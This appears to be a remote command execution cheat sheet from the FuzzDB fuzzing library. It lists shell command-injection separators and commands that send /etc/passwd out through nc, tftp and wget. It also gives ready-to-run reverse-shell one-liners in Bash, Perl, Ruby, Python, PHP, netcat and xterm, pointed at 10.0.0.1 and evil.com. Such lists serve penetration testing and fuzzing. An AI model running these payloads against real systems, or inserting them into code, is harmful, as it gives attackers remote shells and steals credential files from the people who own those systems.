fuzzdb/attack/os-cmd-execution

Remote Command Exec Cheatsheet

File notes:

source-disc-cmd-exec-traversal.fuzz.txt

single directory traversals that have caused showcode or command exec issues in the past

GET /path/payloadrelative/path/to/target/file/

Executing Commands

Seperating Commands: blah;blah2

PIPEZ: blah ^ blah2

AND: blah && blah2

OR: FAIL || X

OR: blah%0Dblah2%0Dblah3

Backtick: blah

Background: blah & blah2

Exfiltrating Files / Data

FTP: Make a new text file, and echo and then redirect to FTP

NC: nc -e /bin/sh

NC: echo /etc/passwd | nc host port

TFTP: echo put /etc/passwd | tftp host

WGET: wget --post-file /etc/passwd

One-Liner Reverse Shells

On the listener: $ nc -l -p 8080 -vvv

On the remote host... Bash: $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

$ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; done

Perl: $ perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby: $ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Python: $ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP: $ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' (Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)

Netcat: $ nc -e /bin/sh 10.0.0.1 1234

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

XTERM: Server: $ xterm -display 10.0.0.1:1 Listener: $ Xnest :1 $ xhost +targetip

More docs: /docs/attack-docs/remote-cmd-exfiltration/